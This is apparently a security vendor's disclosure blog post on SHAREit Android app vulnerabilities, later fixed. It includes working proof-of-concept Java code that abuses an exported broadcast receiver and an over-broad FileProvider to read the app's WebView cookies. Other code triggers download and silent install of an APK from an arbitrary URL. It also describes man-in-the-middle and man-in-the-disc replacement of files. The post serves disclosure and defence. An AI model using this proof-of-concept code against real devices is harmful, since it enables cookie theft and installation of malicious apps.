Cyber Threats
SHAREit Flaw Could Lead to Remote Code Execution
We discovered vulnerabilities in the SHAREit application. These vulnerabilities can be abused to leak a user’s sensitive data, execute arbitrary code, and possibly lead to remote code execution. The app has over 1 billion downloads.
Save to Folio
Update as of Feb 23, 2021, 9:24 P.M. E.T.: SHAREit has fixed the vulnerabilities mentioned in this blog entry. Users are advised to download the latest version of the app available in Google Play Store.
We discovered several vulnerabilities in the application named SHAREit. The vulnerabilities can be abused to leak a user’s sensitive data and execute arbitrary code with SHAREit permissions by using a malicious code or app. They can also potentially lead to Remote Code Execution (RCE). In the past, vulnerabilities that can be used to download and steal files from users’ devices have also been associated with the app. While the app allows the transfer and download of various file types, such as Android Package (APK), the vulnerabilities related to these features are most likely unintended flaws.
SHAREit has over 1 billion downloads in Google Play and has been named as one of the most downloaded applications in 2019. Google has been informed of these vulnerabilities.
Vulnerability details
We delved into the app’s code and found that it declares the broadcast receiver as “com.lenovo.anyshare.app.DefaultReceiver”. It receives the action "com.ushareit.package.action.install_completed" and Extra Intent then calls the startActivity() function.
We built a proof-of-concept (POC) code to inspect the vulnerability. If the following code is run via another app on the device, it will show my Activity.
Any app can invoke this broadcast component. This shows arbitrary activities, including SHAREit’s internal (non-public) and external app activities.
SHAREit also defines a FileProvider. The developer behind this disabled the exported attribute via android:exported="false", but enabled the android:grantUriPermissions="true" attribute. This indicates that any third-party entity can still gain temporary read/write access to the content provider's data.
Even worse, the developer specified a wide storage area root path. In this case, all files in the /data/data/<package> folder can be freely accessed.
The following code from our POC reads WebView cookies. This can also be used to write any files in the app’s data folder. In other words, it can be used to overwrite existing files in the SHAREit app.
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
handleIntent(getIntent());
}
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
Log.d("demo", "onNewIntent");
handleIntent(intent);
}
private void handleIntent(Intent i) {
if(!"evil".equals(i.getAction())) {
Intent next = new Intent("evil");
next.setClassName(getPackageName(), getClass().getCanonicalName());
next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION | Intent.FLAG_GRANT_READ_URI_PERMISSION); next.setData(Uri.parse("content://com.lenovo.anyshare.gps.fileProvider/root/data/user/0/com.lenovo.anyshare.gps/app_webview/Cookies"));
Intent intent = new Intent("com.ushareit.package.action.install_completed");
intent.setClassName("com.lenovo.anyshare.gps", "com.lenovo.anyshare.app.DefaultReceiver");
intent.setPackage("com.lenovo.anyshare.gps");//this enable other app receive the intent.
intent.putExtra("android.content.pm.extra.STATUS",-1);
intent.putExtra("android.content.pm.extra.STATUS_MESSAGE","useless");
intent.putExtra("android.intent.extra.INTENT",next);
sendBroadcast(intent);
Log.e("demo", "send broadcast done");
}
else {
try {
Log.d("demo", "Got url: " + i.getData());
InputStream in = getContentResolver().openInputStream(i.getData());
if (in != null) {
String out = this.convertStreamToString(in);
Log.d("demo", "Read cookies: " + out);
}
}
catch (Throwable th) {
throw new RuntimeException(th);
}
}
}
We found that SHAREit generates vdex/odex files after dex2oat when first launched. The app then loads these files directly in subsequent running. An attacker may craft a fake vdex/odex file, then replace those files via the abovementioned vulnerability to perform code execution.
Also, we noticed that SHAREit has set up deep links using URL leading to specific features in the app. These contain features that can download and install any APK.
SHAREit declares a deep link feature that can download files from a URL that has the scheme of http/https and domain host that matches *.wshareit.com or gshare.cdn.shareitgames.com.
It also provides a feature that can install an APK with the file name suffix sapk. This feature can be used to install a malicious app; if such is the case, it will enable a limited RCE when the user clicks on a URL.
To verify whether the above functionality is available in the Google Chrome browser, we built an href attribute in HTML. When the user clicks this download URL, Chrome will call SHAREit to download the sapk from http://gshare.cdn.shareitgames.com. Since it supports the HTTP protocol, this sapk can be replaced by simulating a man-in-the-middle (MitM) attack.
By doing so, the Malware.sapk (a sample file used here to represent malware) will be downloaded into the /sdcard/SHAREit/download/apps directory silently. To simulate this, we constructed an href.
However, the sapk installation notification does not pop-up. To check whether this intent can be received by SHAREit, we tried to send it to the app directly by using this code:
try {
Intent mytest = Intent.parseUri("intent:///sdcard/SHAREit/download/apps/Malware.sapk #Intent;action=android.intent.action.VIEW;scheme=content;package=com.lenovo.anyshare.gps;type=text/plain;end", 1);
Log.e("test", "intent: " + mytest);
this.startActivityIfNeeded(mytest, -1);
} catch (URISyntaxException e) {
Log.e("test", "url syntax error:" + e);
}
The result shows that SHAREit can accept this Intent and pop-up APK installation UI.
The reason for the unsuccessful operation through Chrome is that the browser intercepts this request. By reverse engineering, we found out that Chrome did discard content/file scheme Intent due to security concerns.
Even if the download and installation of APK by Chrome deep link were not successful, the same attack can still be performed by downloading the APK from an arbitrary URL and Install APK under an arbitrary path by using this code via a malicious app locally:
Intent next = new Intent();
next.setClassName("com.lenovo.anyshare.gps", "com.lenovo.anyshare.scheme.SchemeFilterActivity");
next.setData(Uri.parse("http://10.64.100.51:8080/ base.sapk")); // Arbitrary URL
startActivity(next);
Intent next1 = new Intent();
next1.setClassName("com.lenovo.anyshare.gps", "com.ushareit.ads.download.SapkInstallerActivity");
next1.setData(Uri.parse("content:///sdcard/SHAREit/download/apps/base.sapk/base.apk"));// Arbitrary path
startActivity(next1);
SHAREit is also susceptible to a man-in-the-disc (MITD) attack. This Is because when a user downloads the app in the download centre, it goes to the directory as shown in the sample code. The folder is an external directory, which means any app can access it with SDcard write permission.
To illustrate, we manually copied Twitter.apk in the code to replace it with a fake file of the same name. As a result, a pop-up of the fake Twitter app will appear on the main screen of the SHAREit app.
Reopening the SHAREit app will cause the fake Twitter app to appear on the screen again to prompt the user to install it.
Upon tapping the install button, the fake app will be installed successfully and opened automatically. This will show another system notification pop-up.
The external directory also has some directories that can be used to steal and replace files:
bullhead:/sdcard/SHAREit/download $ ls
apps audios files pictures videos
bullhead:/sdcard/SHAREit/download $
SHAREit is a game centre that provides game apps that can be downloaded by the configuration file GameSettings.xml located in the com.lenovo.anyshare.gps/shared_prefs directory.
For example, the xml content contains the link hxxp://cdn2[.]gamecenter[.]run/apk/extension/Av5PyuNY[.]apk.
Looking through this file shows that the download URLs are not only from Google Play, but also from other vendors. Most of the URLs use the HTTP protocol, and it is very dangerous to transfer data without encryption as these can be tampered with by a MitM attacker.
Recommendations
Security should be a top consideration for app developers, enterprises, and users alike. For safe mobile app use, we recommend regularly updating and patching mobile operating systems and the app themselves. Users should also keep themselves informed by reading reviews and articles about the apps they download.